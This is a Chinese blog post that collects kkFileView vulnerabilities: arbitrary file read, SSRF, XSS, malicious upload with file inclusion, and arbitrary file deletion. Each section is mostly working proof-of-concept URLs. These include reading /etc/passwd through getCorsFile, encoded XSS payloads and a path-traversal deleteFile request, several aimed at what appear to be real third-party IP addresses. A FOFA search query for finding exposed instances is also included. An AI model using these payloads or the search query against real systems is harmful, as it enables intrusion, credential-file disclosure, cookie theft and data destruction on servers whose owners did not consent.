kkFileView漏洞总结

刺骨的言语ヽ痛彻心扉 2024-02-05 14:30 57阅读 0赞

#### 0x00 kkFileview存在任意文件读取漏洞 ####

**漏洞描述**

Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞，该漏洞源于存在通过目录遍历漏洞读取任意文件，可能导致相关主机上的敏感文件泄漏。

**漏洞影响**

kkFileview <=3.6.0

**fofa查询**

body="kkFile **：**View"

**漏洞证明**

![c1d5bf3f57e1bb5a764b9df578c2aa4e.png][]

[http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd][http_103.39.221.102_8012_getCorsFile_urlPath_file_etc_passwd]

![090ff6a3d43ec9ad923668b41a874daa.png][]

#### 0x01 kkFileView SSR 漏洞 ####

**漏** **洞描述**

kkFileview v4.1.0存在SSRF漏洞，攻击者可以利用此漏洞造成服务器端请求伪造(SSRF)，远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。

**漏洞影响**

kkFileview =v4.1.0

**漏** **洞证明**

![be2c141e20c19c92bda06a524eaa447a.png][]

![13ae59c6280411e50da0beadecafd2bf.png][]

http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn

![06c14b7898c0c5384253d36a393e8e68.png][]

![daba469b7e728ea2079cd3cb8c5264f9.png][]

#### 0x03 kkFileView XSS漏洞 ####

**漏洞描述**

kkFileview v4.1.0存两处XSS漏洞，可能导致网站cookies泄露。

**漏洞影响**

kkFileview =v4.1.0

**漏洞证明**

http://www.baidu.com/test.txt"><img src=111 οnerrοr=alert(1)>

编码base64:

aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg==

url编码：

aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D

poc1:

/onlinePreview?url=%3Cimg%20src=x%20οnerrοr=alert(0)%3E

[/picturesPreview?urls=][picturesPreview_urls] [aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D][aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg_3D_3D]

http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20οnerrοr=alert(0)%3E

![98a3cbe28e5e272327e1a952ef598fab.png][]

http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D

![12a5eef2dd936b25a5ce7f6459d68b05.png][]

PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+

url编码：

PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B

poc2:

[/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B][picturesPreview_urls_currentUrl_PHN2Zy9vbmxvYWQ9YWxlcnQoMSk_2B]

http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B

![94750becf9bdf0f4d9ebce3fc164fc72.png][]

#### 0x04 kkFileView任意文件上传导致xss和文件包含漏洞 ####

**漏洞描述**

kkFileview全版本存在文件解析漏洞，攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF，远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求

**漏洞影响**

kkFileView=4.1.0

**漏洞证明**

1、上传文件

![f0062fe5ce10b1602630ebdcfbcb11df.png][]

![8851d91cf4d509614852666c39dc089c.png][]

2、访问漏洞位置[http://139.9.101.60:8012/demo/2.html][http_139.9.101.60_8012_demo_2.html]

![2ca87781b767d32e53e5d9412e78bf8a.png][]

![696a9ab8f976d91b86109f76cc2c1848.png][]

2.文件包含：

[https://file.keking.cn/demo/test1.js][https_file.keking.cn_demo_test1.js]

[![image][]][image 1]

访问： [https://file.keking.cn/demo/test14.html][https_file.keking.cn_demo_test14.html] [![image][image 2]][image_image 2]

##### 0x05 kkFileView任意文件删除漏洞 #####

##### 漏洞描述 #####

kkFileview v4.0.0存在任意文件删除漏洞，可能导致系统任意文件被删除

##### 漏洞影响 #####

kkFileview= v4.0.0

##### 漏洞证明 #####

/deleteFile?fileName=demo%2F..\\xss.pdf  
get请求此uri会删除\\kkFileView-master\\server\\src\\main\\file目录中的xss.pdf(原本只能删除\\kkFileView-master\\server\\src\\main\\file\\demo目录下的文件)

![a60181ceb4b54cc47a4a43ea320b64df.png][]

![6874d5d63cc3aaf993b8a3e48eb086c4.png][]

[c1d5bf3f57e1bb5a764b9df578c2aa4e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/3ff8fe53bf6d4bb0bc9d6726654ef8b4.png
[http_103.39.221.102_8012_getCorsFile_urlPath_file_etc_passwd]: http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd
[090ff6a3d43ec9ad923668b41a874daa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/c6d372d3fc8542fca5f67b449d96f3ab.png
[be2c141e20c19c92bda06a524eaa447a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/52aa8fe3374e414aa55fe4dbfec18db6.png
[13ae59c6280411e50da0beadecafd2bf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/c14b5a5a435f4ac58fe72bdf15191ed9.png
[06c14b7898c0c5384253d36a393e8e68.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/d3596ddfa21e4357b8d58e1dbb3e9f2b.png
[daba469b7e728ea2079cd3cb8c5264f9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/f0034faf414a4396985a89644f6d362b.png
[picturesPreview_urls]: https://file.keking.cn/picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
[aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg_3D_3D]: https://file.keking.cn/onlinePreview?url=aHR0cHM6Ly93d3cuYmFpZHUuPGltZyBzcmM9MSBvbmVycm9yPWFsZXJ0KDEpPg==
[98a3cbe28e5e272327e1a952ef598fab.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/bc3dd57728ff4d33b6402ba886c4a284.png
[12a5eef2dd936b25a5ce7f6459d68b05.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/7a45775b58e648b29956e14dc91b199a.png
[picturesPreview_urls_currentUrl_PHN2Zy9vbmxvYWQ9YWxlcnQoMSk_2B]: https://file.keking.cn/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B
[94750becf9bdf0f4d9ebce3fc164fc72.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/d23bca2c788a4bbdbb5edc60c054e923.png
[f0062fe5ce10b1602630ebdcfbcb11df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/d5e7086571b74667bfa3a35f9edc2e8f.png
[8851d91cf4d509614852666c39dc089c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/e4aa7644af60490c981c79aefbb7a8f3.png
[http_139.9.101.60_8012_demo_2.html]: http://139.9.101.60:8012/demo/2.html
[2ca87781b767d32e53e5d9412e78bf8a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/fe62cf885be64cc59c65e5a4386dd54d.png
[696a9ab8f976d91b86109f76cc2c1848.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/72844e9143a94361a98a38c448ceb06f.png
[https_file.keking.cn_demo_test1.js]: https://file.keking.cn/demo/test1.js
[image]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/1491d8464d2342ffb24be6d4ef17f86c.png
[image 1]: https://user-images.githubusercontent.com/61698045/205905934-0a83d5f3-0bb2-4b6a-af7c-3eb25abd938f.png
[https_file.keking.cn_demo_test14.html]: https://file.keking.cn/demo/test14.html
[image 2]: https://img-blog.csdnimg.cn/img_convert/fc1c53f62dfa261592391e7762069d3f.png
[image_image 2]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/cbfb11396e074b1fb470be512ac7050f.png
[a60181ceb4b54cc47a4a43ea320b64df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/0b73795bfc6f4f29ad61bdcf2c3f51ac.png
[6874d5d63cc3aaf993b8a3e48eb086c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/01/30/aa002d5347084e7d9bc930b6f6693e22.png